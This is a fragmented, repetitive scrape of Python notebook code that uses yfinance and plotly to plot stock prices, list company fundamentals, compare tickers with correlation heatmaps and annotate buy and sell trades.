'Forward P/E',", "Correlation Heatmap', width = 500, height = 400) fig2.show() else:", "ticker_info['industry'] country = ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol", "== 0: return start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date", "y = price, text = f'SS', showarrow = True, arrowhead", "ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) +", "+ ' Comparison', yaxis_title = 'Norm Price') fig.update_layout(height = 600,", "= 'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max')", "'Short % of Float (Prev Mo)'], columns = ['Info']) print()", "== 'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y", "trade_date = trade_history.loc[i, 'Date'] price = trade_history.loc[i, 'Avg_Price'] quantity =", "column in a dataframe y = (column - min) /", "= 500, height = 400) fig2.show() else: fig2 = go.Figure()", "Ratio', 'Forward EPS', 'Trailing EPS', 'Shares Outstanding', 'Institutions % of", "dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\",", "= pd.concat(closing_90_days, axis = 1) print('\\n') printmd(\"Last 90 Days Close", "least two tickers to compare\") def normalize_data(column): min = column.min()", "= str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info", "if ma == 'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x =", "closing_prices = frame['Close'] volume = frame['Volume'] fig = make_subplots(rows=2, cols=1,", "= round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps", "dict(step=\"all\") ]) ), rangeslider=dict( visible=True, thickness = 0.1 ), type=\"date\"", "= ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2))", "str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta", "P: {price}, Q: {quantity}, T: {total}, D: {trade_date}, G: {gain},", "Mo)', 'Shares Float', 'Short % of Float (Prev Mo)'], columns", "'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma,", "= True, rangeslider_thickness = 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1)", "= 'max') if start and end: start_date, end_date = start,", "recent)', 'Avg 10D Volume', 'P/S Trailing 12mo', 'Forward P/E', 'PEG", "forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares,", "import pandas as pd from IPython.display import Markdown import numpy", "= None, ma = 'yes'): if len(tickers) <= 1: raise", "= column.max() # time series normalization # y will be", "['Market Cap', 'Name', 'Sector', 'Industry', 'Country', 'Beta', 'Day Volume (Most", "= 'markers', name = 'Norm Close')) fig2.update_layout(title = ', '.join(tickers)", "+ str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf, crypto =", "Pearson Correlation Heatmap', width = 500, height = 400) fig2.show()", "= None, end = None, ma = 'yes'): ticker_obj =", "column.max() # time series normalization # y will be a", "fig2.show() else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y", "closing_90_days[1].loc[:, tickers[1]], mode = 'markers', name = 'Norm Close')) fig2.update_layout(title", "Q: {quantity}, T: {total}, D: {trade_date}') if side == 'sell':", "import matplotlib.pyplot as plt import plotly.express as px import plotly.graph_objects", "D: {trade_date}, G: {gain}, %G: {perc_gain}') fig.update_layout(title = ticker, yaxis_title", "print() def plot_buysell_points(ticker, tradesdf, crypto = 'no'): trade_history = tradesdf[tradesdf['Symbol']", "'Avg 10D Volume', 'P/S Trailing 12mo', 'Forward P/E', 'PEG Ratio',", "printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info", "{quantity}, T: {total}, D: {trade_date}, G: {gain}, %G: {perc_gain}') fig.update_layout(title", "frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100))", "plotly.subplots import make_subplots import pandas as pd from IPython.display import", "display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info =", "from plotly.subplots import make_subplots import pandas as pd from IPython.display", "step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),", "T: {total}, D: {trade_date}, G: {gain}, %G: {perc_gain}') fig.update_layout(title =", "round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps =", "= None, ma = 'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist =", "'Insiders % of Oustanding', 'Shares Short (Prev Mo)', 'Short %", "= -0.5, ay = -30, arrowsize = 1.5, align =", "showarrow = True, arrowhead = 1, ax = -0.5, ay", "text = f'SS', showarrow = True, arrowhead = 1, ax", "a column in a dataframe y = (column - min)", "= 'max') if len(ticker_hist) == 0: return start_date = (pd.to_datetime(trade_history.loc[0,", "printmd(string): display(Markdown(string)) start_end_prices = {} closing_90_days = [] fig =", "dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\",", "% of Float (Prev Mo)'], columns = ['Info']) print() display(stock_info_df)", "1.5, align = 'right', hovertext = f'S, P: {price}, Q:", "at least two tickers to compare\") def normalize_data(column): min =", "yf import matplotlib.pyplot as plt import plotly.express as px import", "sector = ticker_info['sector'] industry = ticker_info['industry'] country = ticker_info['country'] avg10d_vol", "print() display(stock_info_df) except: pass def compare_charts(tickers = [], start =", "frame['Norm Close'] = normalize_data(frame['Close']) closing_prices = frame['Norm Close'] start_end_prices[ticker] =", "forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE'] pegratio = ticker_info['pegRatio']", "Last 90 Days Correlation', xaxis_title = tickers[0], yaxis_title = tickers[1],", "col = 1) if ma == 'yes': closing_prices_ma = frame['Close'].rolling(7).mean()", "yaxis_title = tickers[1], width = 1000, height = 500) fig2.show()", "rangeslider=dict( visible=True, thickness = 0.1 ), type=\"date\" ) ) fig.show()", "len(tickers) > 2: concat_closing_90_days = pd.concat(closing_90_days, axis = 1) print('\\n')", "== 'sell': fig.add_annotation(x = trade_date, y = price, text =", "= 'Last 90 Days Close Pearson Correlation Heatmap', width =", "= trade_history.loc[i, '% Gain'] if side == 'buy': fig.add_annotation(x =", "Days Correlation', xaxis_title = tickers[0], yaxis_title = tickers[1], width =", "in a dataframe y = (column - min) / (max", "else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices", "= ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months']", "{:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers) > 2: concat_closing_90_days = pd.concat(closing_90_days,", "fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode = 'lines', name", "tickers[0]], y = closing_90_days[1].loc[:, tickers[1]], mode = 'markers', name =", "= ticker_info['sector'] industry = ticker_info['industry'] country = ticker_info['country'] avg10d_vol =", "'PEG Ratio', 'Forward EPS', 'Trailing EPS', 'Shares Outstanding', 'Institutions %", "Close Pearson Correlation Heatmap', width = 500, height = 400)", "Summary: ' + ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname", "printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker,", "y = closing_prices, mode = 'lines', name = 'Close')) for", "will be a column in a dataframe y = (column", "row = 1, col = 1) if ma == 'yes':", "shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info,", "Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode =", "str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding =", "10D Volume', 'P/S Trailing 12mo', 'Forward P/E', 'PEG Ratio', 'Forward", "name = ticker + ' Norm Close')) if ma ==", "ticker].reset_index(drop=True) if crypto == 'yes': ticker += '-USD' ticker_obj =", "end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices = frame['Close']", "-0.5, ay = -30, arrowsize = 1.5, align = 'left',", "hovertext = f'B, P: {price}, Q: {quantity}, T: {total}, D:", "= 'Norm Close')) fig2.update_layout(title = ', '.join(tickers) + ' Last", "= go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode =", "fig.show() start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given", "forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df", "start and end: start_date, end_date = start, end else: start_date,", "tickers[1], width = 1000, height = 500) fig2.show() printmd(\"Pearson Correlation:", "= 'lines', name = '7D Close Moving Average'), row =", "min) return y def printmd(string): display(Markdown(string)) start_end_prices = {} closing_90_days", "longname, sector, industry, country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio,", "step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict( visible=True, thickness = 0.1", "import plotly.express as px import plotly.graph_objects as go from plotly.subplots", "'buy': fig.add_annotation(x = trade_date, y = price, text = f'BB',", "start = None, end = None, ma = 'yes'): if", "today_date = date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig", "two tickers to compare\") def normalize_data(column): min = column.min() max", "+ '%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float =", "shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info, index = ['Market Cap',", "= pd.DataFrame(stock_info, index = ['Market Cap', 'Name', 'Sector', 'Industry', 'Country',", "= trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i, '% Gain'] if side", "row=2, col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness = 0.1, row=2, col=1)", "str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info = [market_cap, longname, sector, industry, country,", "in tickers: ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max')", "ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try:", "{trade_date}') if side == 'sell': fig.add_annotation(x = trade_date, y =", "volume = frame['Volume'] fig = make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights", "normalize_data(frame['Close']) closing_prices = frame['Norm Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price':", "of Oustanding', 'Insiders % of Oustanding', 'Shares Short (Prev Mo)',", "import Markdown import numpy as np from datetime import date,", "thickness = 0.1 ), type=\"date\" ) ) fig.show() printmd('Given Timeframe:')", "T: {total}, D: {trade_date}') if side == 'sell': fig.add_annotation(x =", "ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) +", "matplotlib.pyplot as plt import plotly.express as px import plotly.graph_objects as", "P/E', 'PEG Ratio', 'Forward EPS', 'Trailing EPS', 'Shares Outstanding', 'Institutions", "normalization # y will be a column in a dataframe", "y = closing_prices_ma, mode = 'lines', name = '7D Close", "raise Exception(\"Please enter at least two tickers to compare\") def", "= trade_date, y = price, text = f'BB', showarrow =", "Close')) if ma == 'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x", "series normalization # y will be a column in a", "True, arrowhead = 1, ax = -0.5, ay = -30,", "= trade_date, y = price, text = f'SS', showarrow =", "xaxis_title = tickers[0], yaxis_title = tickers[1], width = 1000, height", "= '7D Close Moving Average'), row = 1, col =", "perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info, index =", "step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),", "go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode = 'lines',", "fig.update_layout(title=ticker, height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\",", "ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close']) closing_prices =", "datetime import date, timedelta def plot_and_get_info(ticker, start = None, end", "\" Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers) > 2: concat_closing_90_days", "floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) +", "= start, end else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame", "y = closing_prices, mode = 'lines', name = 'Close'), row", "= [], start = None, end = None, ma =", "round(ticker_info['beta'],2) except: beta = ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except:", "showarrow = True, arrowhead = 1, ax = 20, ay", "= px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title = 'Last 90 Days", "'markers', name = 'Norm Close')) fig2.update_layout(title = ', '.join(tickers) +", "start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices =", "try: ticker_info = ticker_obj.info print() printmd('Business Summary: ' + ticker_info['longBusinessSummary'])", "column.min() max = column.max() # time series normalization # y", "= -30, arrowsize = 1.5, align = 'left', hovertext =", "'.join(tickers) + ' Last 90 Days Correlation', xaxis_title = tickers[0],", "label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ),", "+ 'M' try: beta = round(ticker_info['beta'],2) except: beta = ticker_info['beta']", "as pd from IPython.display import Markdown import numpy as np", "return start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\")", "px import plotly.graph_objects as go from plotly.subplots import make_subplots import", "fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness = 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1,", "= 1) fig.add_trace(go.Bar(x = closing_prices.index, y = volume, name =", "= ', '.join(tickers) + ' Comparison', yaxis_title = 'Norm Price')", "plt import plotly.express as px import plotly.graph_objects as go from", "pd.DataFrame(stock_info, index = ['Market Cap', 'Name', 'Sector', 'Industry', 'Country', 'Beta',", "end else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy()", "= (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame =", "align = 'left', hovertext = f'B, P: {price}, Q: {quantity},", "else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y =", "range(len(trade_history)): trade_date = trade_history.loc[i, 'Date'] price = trade_history.loc[i, 'Avg_Price'] quantity", "{'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker})) fig.add_trace(go.Scatter(x", "y = closing_prices_ma, mode = 'lines', name = ticker +", "mode = 'markers', name = 'Norm Close')) fig2.update_layout(title = ',", "str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares =", "as go from plotly.subplots import make_subplots import pandas as pd", "frame['Close'] volume = frame['Volume'] fig = make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03,", "Volume (Most recent)', 'Avg 10D Volume', 'P/S Trailing 12mo', 'Forward", "'%' stock_info = [market_cap, longname, sector, industry, country, beta, most_recent_vol,", "ticker += '-USD' ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period =", "Comparison', yaxis_title = 'Norm Price') fig.update_layout(height = 600, xaxis=dict( rangeselector=dict(", "'% Gain'] if side == 'buy': fig.add_annotation(x = trade_date, y", "min) / (max - min) return y def printmd(string): display(Markdown(string))", "display(Markdown(string)) start_end_prices = {} closing_90_days = [] fig = go.Figure()", "Oustanding', 'Insiders % of Oustanding', 'Shares Short (Prev Mo)', 'Short", "Mo)', 'Short % of Outstanding (Prev Mo)', 'Shares Float', 'Short", "'no'): trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto == 'yes':", "= 'Norm Price') fig.update_layout(height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7,", "shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%'", ") ) fig.show() start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string):", "= 'no'): trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto ==", "= 1.5, align = 'left', hovertext = f'B, P: {price},", "', '.join(tickers) + ' Comparison', yaxis_title = 'Norm Price') fig.update_layout(height", "frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price -", "'.join(tickers) + ' Comparison', yaxis_title = 'Norm Price') fig.update_layout(height =", "concat_closing_90_days = pd.concat(closing_90_days, axis = 1) print('\\n') printmd(\"Last 90 Days", "dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\",", "<= 1: raise Exception(\"Please enter at least two tickers to", "crypto = 'no'): trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto", "stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\")", "[], start = None, end = None, ma = 'yes'):", "= 1) print('\\n') printmd(\"Last 90 Days Close Pearson Correlation Matrix:", "'max') if start and end: start_date, end_date = start, end", "dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\",", "make_subplots import pandas as pd from IPython.display import Markdown import", "dict(step=\"all\") ]) ), type=\"date\" ) ) fig.show() start_price, end_price =", "= 1, col = 1) fig.add_trace(go.Bar(x = closing_prices.index, y =", "try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe", "'Shares Short (Prev Mo)', 'Short % of Outstanding (Prev Mo)',", "= frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode", "label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\",", "= go.Figure() for ticker in tickers: ticker_obj = yf.Ticker(ticker) ticker_hist", "if crypto == 'yes': ticker += '-USD' ticker_obj = yf.Ticker(ticker)", "'lines', name = 'Close'), row = 1, col = 1)", "= ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE']", "ma = 'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period =", "fig.show() printmd('Given Timeframe:') for ticker in tickers: start_price, end_price =", "Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf,", "[] fig = go.Figure() for ticker in tickers: ticker_obj =", "# y will be a column in a dataframe y", "= 'yes'): if len(tickers) <= 1: raise Exception(\"Please enter at", "'Quantity'] total = trade_history.loc[i, 'Total'] side = trade_history.loc[i, 'Side'] gain", "'Side'] gain = trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i, '% Gain']", "height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"),", "step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"),", "yaxis_title = 'Norm Price') fig.update_layout(height = 600, xaxis=dict( rangeselector=dict( buttons=list([", "90 Days Close Pearson Correlation Heatmap', width = 500, height", "= closing_90_days[1].loc[:, tickers[1]], mode = 'markers', name = 'Norm Close'))", "stock_info_df = pd.DataFrame(stock_info, index = ['Market Cap', 'Name', 'Sector', 'Industry',", "Close Pearson Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale", "Markdown import numpy as np from datetime import date, timedelta", "closing_90_days = [] fig = go.Figure() for ticker in tickers:", "forwardeps = ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) +", "fig = go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode", "= closing_prices_ma.index, y = closing_prices_ma, mode = 'lines', name =", "f'SS', showarrow = True, arrowhead = 1, ax = 20,", "import plotly.graph_objects as go from plotly.subplots import make_subplots import pandas", "= 1, ax = 20, ay = -30, arrowsize =", "= ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2))", "closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode", "printmd('Given Timeframe:') for ticker in tickers: start_price, end_price = start_end_prices[ticker]['start_price'],", "Close')) fig2.update_layout(title = ', '.join(tickers) + ' Last 90 Days", "= 500) fig2.show() printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3)))", "as plt import plotly.express as px import plotly.graph_objects as go", "None, end = None, ma = 'yes'): ticker_obj = yf.Ticker(ticker)", "row=1, col=1) fig.update_layout(title=ticker, height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7,", "Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues',", "crypto == 'yes': ticker += '-USD' ticker_obj = yf.Ticker(ticker) ticker_hist", "'Date'] price = trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i, 'Quantity'] total", "= closing_prices, mode = 'lines', name = 'Close')) for i", "import make_subplots import pandas as pd from IPython.display import Markdown", "f'B, P: {price}, Q: {quantity}, T: {total}, D: {trade_date}') if", "Close Moving Average'), row = 1, col = 1) fig.add_trace(go.Bar(x", "IPython.display import Markdown import numpy as np from datetime import", "timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices = frame['Close']", "'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) +", "if len(ticker_hist) == 0: return start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) -", "vertical_spacing=0.03, row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y =", "> 2: concat_closing_90_days = pd.concat(closing_90_days, axis = 1) print('\\n') printmd(\"Last", "end = None, ma = 'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist", "start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \" Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if", "dataframe y = (column - min) / (max - min)", "to compare\") def normalize_data(column): min = column.min() max = column.max()", "= 'right', hovertext = f'S, P: {price}, Q: {quantity}, T:", "closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:, tickers[1]], mode = 'markers', name", "return y def printmd(string): display(Markdown(string)) start_end_prices = {} closing_90_days =", "y = price, text = f'BB', showarrow = True, arrowhead", "'B' longname = ticker_info['longName'] sector = ticker_info['sector'] industry = ticker_info['industry']", "= trade_history.loc[i, 'Side'] gain = trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i,", "ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname = ticker_info['longName'] sector", "= str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding", "else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm", "+ 'B' longname = ticker_info['longName'] sector = ticker_info['sector'] industry =", "= ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume", "+ 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2))", "Volume', 'P/S Trailing 12mo', 'Forward P/E', 'PEG Ratio', 'Forward EPS',", "'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y =", "if start and end: start_date, end_date = start, end else:", "= closing_prices.index, y = closing_prices, mode = 'lines', name =", "\") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title =", "fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height = 600, xaxis=dict( rangeselector=dict( buttons=list([", "ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe =", "+ ' Norm Close')) if ma == 'yes': closing_prices_ma =", "Timeframe:') for ticker in tickers: start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price']", "= [market_cap, longname, sector, industry, country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo,", "compare_charts(tickers = [], start = None, end = None, ma", "plotly.express as px import plotly.graph_objects as go from plotly.subplots import", "np from datetime import date, timedelta def plot_and_get_info(ticker, start =", "go from plotly.subplots import make_subplots import pandas as pd from", "frame['Norm Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns =", "ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe =", "'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if", "display(stock_info_df) except: pass def compare_charts(tickers = [], start = None,", "shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M'", "tickers to compare\") def normalize_data(column): min = column.min() max =", "= 1000, height = 500) fig2.show() printmd(\"Pearson Correlation: \" +", "ay = -30, arrowsize = 1.5, align = 'right', hovertext", "row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices,", "tickers: start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \" Return:", "for ticker in tickers: ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period", "closing_prices, mode = 'lines', name = 'Close'), row = 1,", "'M' try: beta = round(ticker_info['beta'],2) except: beta = ticker_info['beta'] try:", "= {} closing_90_days = [] fig = go.Figure() for ticker", "= closing_prices.index, y = volume, name = 'Volume'), row=2, col=1)", "text = f'BB', showarrow = True, arrowhead = 1, ax", "fig2.show() printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def", ") ) fig.show() printmd('Given Timeframe:') for ticker in tickers: start_price,", "fig = go.Figure() for ticker in tickers: ticker_obj = 